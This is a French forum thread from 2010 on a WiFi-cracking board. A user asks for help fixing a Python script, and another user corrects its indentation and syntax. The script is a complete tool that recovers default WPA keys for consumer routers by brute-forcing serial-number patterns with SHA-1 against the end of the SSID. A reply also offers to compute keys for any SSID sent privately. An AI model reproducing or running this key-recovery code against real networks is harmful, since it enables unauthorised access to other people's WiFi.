LE FORUM DU SITE
Wifi, Backtrack, crack WEP et WPA...
Vous n'êtes pas identifié(e).
Bonjour, je suis sous Osx et j'ai récupéré sur le forum un script en python mais j'ai un problème d'indentation ici:
File "./bbk.py", line 31
k snb = 'CP'+str(y)[-2:]+str(w)[-2:]
^
Voici le script entier:
#!/usr/bin/python
# -*- coding: mac_roman -*-
import sha
from datetime import date
from optparse import OptionParser
parser = OptionParser()
parser.add_option("-i", "--ssid", dest="ssid",
help="SSID of the box", default='')
(options, args) = parser.parse_args()
ssid = options.ssid
if ssid == '':
print "No key provided. Launch with -h for help."
else:
print "Searching keys for SSID %s" % ssid
hexaend = ssid[-6:].lower()
hexvalues = []
for i in xrange(ord('A'), ord('Z')+1):
hexvalues.append(hex(i)[-2:].upper())
for i in xrange(ord('0'), ord('9')+1):
hexvalues.append(hex(i)[-2:].upper())
candidates = []
for y in xrange(2008, date.today().year+1):
print "Year %d..." % y
for w in xrange(101, 152):
k snb = 'CP'+str(y)[-2:]+str(w)[-2:]
for X in hexvalues:
snb2 = snb+X
for Y in hexvalues:
snb3 = snb2+Y
for Z in hexvalues:
sn_sha = sha.sha(snb3+Z).hexdigest()
if sn_sha[-6:] == hexaend:
candidates.append(sn_sha[:10].upper())
if len(candidates) == 0:
print "No keys found."
else:
print "Candidates:"
for key in candidates:
print ' '+key
PS; Script provenant de Vincent.
Merci de me filer un petit coup de main.
Dernière modification par MrGun (17-05-2010 21:15:46)
Hors Ligne
Tu devrais préciser que tu essaies de faire tourner ca sur MacOS, ca peut être un détail important
Bon, première chose : si tu as bel et bien copié le script exact et que tu as un "k" qui traîne en début de ligne 31, ne cherche même pas plus loin il n'a rien à faire lÃ
Pour ce qui est des indentations en elles-mêmes, comme je l'ai dit sur l'autre sujet, tu dois ajouter un niveau (une TAB) à chaque fois que tu entres dans une boucle/condition. Donc en gros ca donne ca :
#!/usr/bin/python
# -*- coding: mac_roman -*-
import sha
from datetime import date
from optparse import OptionParser
parser = OptionParser()
parser.add_option("-i", "--ssid", dest="ssid","SSID of the box", default='')
(options, args) = parser.parse_args()
ssid = options.ssid
if ssid == '':
[TAB]print "No key provided. Launch with -h for help."
else:
[TAB]print "Searching keys for SSID %s" % ssid
[TAB]hexaend = ssid[-6:].lower()
[TAB]hexvalues = []
[TAB]for i in xrange(ord('A'), ord('Z')+1):
[TAB][TAB]hexvalues.append(hex(i)[-2:].upper())
[TAB]for i in xrange(ord('0'), ord('9')+1):
[TAB][TAB]hexvalues.append(hex(i)[-2:].upper())
[TAB]candidates = []
[TAB]for y in xrange(2008, date.today().year+1):
[TAB][TAB]print "Year %d..." % y
[TAB][TAB]for w in xrange(101, 152):
[TAB][TAB][TAB]snb = 'CP'+str(y)[-2:]+str(w)[-2:]
[TAB][TAB][TAB]for X in hexvalues:
[TAB][TAB][TAB][TAB]snb2 = snb+X
[TAB][TAB][TAB][TAB]for Y in hexvalues:
[TAB][TAB][TAB][TAB][TAB]snb3 = snb2+Y
[TAB][TAB][TAB][TAB][TAB]for Z in hexvalues:
[TAB][TAB][TAB][TAB][TAB][TAB]sn_sha = sha.sha(snb3+Z).hexdigest()
[TAB][TAB][TAB][TAB][TAB][TAB]if sn_sha[-6:] == hexaend:
[TAB][TAB][TAB][TAB][TAB][TAB][TAB]candidates.append(sn_sha[:10].upper())
[TAB]if len(candidates) == 0:
[TAB][TAB]print "No keys found."
[TAB]else:
[TAB][TAB]print "Candidates:"
[TAB][TAB]for key in candidates:
[TAB][TAB][TAB]print '[TAB]'+key
Remplace chaque [TAB] par une tabulation, et réessaie pour voir si ca marche (en oubliant pas de taper "python" au début)
NB : merci d'utiliser la balise "Code" (les < > bleus dans la barre d'outils) pour taper du code-source, c'est plus lisible
Hors Ligne
Merci antares, t'as vu juste pour l'indentation mais maintenant j'ai: python /.bbk2.py
/Library/Frameworks/Python.framework/Versions/2.6/Resources/Python.app/Contents/MacOS/Python: can't open file '/.bbk2.py': [Errno 2] No such file or directory
Hors Ligne
Le message me semble pourtant clair, tu es sûr que tu es dans le bon dossier, avec ton terminal ?
Tape la commande "ls" pour voir la liste des fichiers présents, si tu n'y vois pas le fameux bbk.py c'est ça ton problème
Tu peux connaître le dossier dans lequel tu te trouves actuellement en tapant "pwd"
Hors Ligne
Argh bah oui j'avais mis un espace sur le titre de mon dossier, ben du coup il y a toujours mon problème d'indentation :'(
Hors Ligne
Désolé, mais j'ai éclaté ma boule de cristal récemment, donc mes dons de médium sont assez limités actuellement... Si tu ne me donnes pas un peu plus d'info, je peux juste te dire "Ah ben ca c'est con ! "
Quelle ligne foire (copie-colle)? T'as vérifié le nombre de tabulations ? T'as vérifié que ton éditeur de texte ne convertit pas les tabulations en espaces ?
Hors Ligne
Mdr désolé. Nan en fait c'est parce que j'avais laissé un "[TAB]".
Alors maintenant c'est:
File "./bbk2.py", line 9
parser.add_option("-i", "--ssid", dest="ssid","SSID of the box", default='')
SyntaxError: non-keyword arg after keyword arg
Dernière modification par MrGun (17-05-2010 21:55:30)
Hors Ligne
C'est quoi le problème avec cette ligne ? Indentation ? [EDIT] Pas vu ton edit, au temps pour moi
Essaie de la remplacer par ceci :
parser.add_option("-i", "--ssid", dest="ssid",
[TAB]...9x...[TAB]help="SSID of the box", default='')
apparemment c'était comme ca dans le code de base, même si je vois pas trop ce que ca change...
Heu, tant que j'y pense : si tu veux juste les clés possibles pour un seul SSID (de préférence : le tien), envoie le moi en PM et je te renvoie les clés, tout le monde gagnera du temps
Hors Ligne
Mdr tu m'éclate, oui je t'envoie ça par pm.
Autrement ce n'est pas un problème d'indentation mais de syntaxe, "SyntaxError: non-keyword arg after keyword arg"
Hors Ligne
Discussion | Réponses | Vues | Dernier message |
---|---|---|---|
installation cyprit-cuda erreur python setup.py build par tribaal2000
|
4 | 1122 | 03-02-2017 20:47:25 par tribaal2000 |
4 | 3465 | 19-04-2016 19:04:54 par 2tlopez51 | |
Unknown error 132 par Better
|
11 | 3575 | 15-03-2016 15:30:40 par JojoDiesel |
2 | 1516 | 26-09-2015 15:48:12 par myst404 | |
[PYTHON] commande mount dans un script par root134
|
2 | 1488 | 24-03-2015 15:37:44 par root134 |